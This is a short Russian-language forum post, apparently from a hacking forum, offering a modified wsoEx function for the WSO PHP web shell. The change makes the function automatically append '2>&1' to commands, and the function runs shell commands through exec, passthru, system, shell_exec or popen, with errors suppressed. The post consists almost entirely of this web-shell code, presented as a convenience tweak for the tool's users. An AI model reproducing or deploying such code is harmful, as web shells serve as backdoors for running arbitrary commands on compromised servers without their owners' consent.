Показать сообщение отдельно

  #93  
Старый 11.12.2009, 04:10
shellz[21h]
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
С нами: 9680718

Репутация: 118
По умолчанию

изминить малость функцию wsoEx и все готово, больше не придется добавлять в конце 2>&1
PHP код:
<?php
//......

function wsoEx($in) {
    
$out = '';
    
$in .= ' 2>&1'; // - Добавляет в конец команды
    
if(function_exists('exec')) {
        @
exec($in,$out);
        
$out = @join("\n",$out);
    }elseif(
function_exists('passthru')) {
        
ob_start();
        @
passthru($in);
        
$out = ob_get_clean();
    }elseif(
function_exists('system')) {
        
ob_start();
        @
system($in);
        
$out = ob_get_clean();
    }elseif(
function_exists('shell_exec')) {
        
$out = shell_exec($in);
    }elseif(
is_resource($f = @popen($in,"r"))) {
        
$out = "";
        while(!@
feof($f))
            
$out .= fread($f,1024);
        
pclose($f);
    }
    return 
$out;
}
?>

Последний раз редактировалось shellz[21h]; 11.12.2009 в 04:17..
 
Ответить с цитированием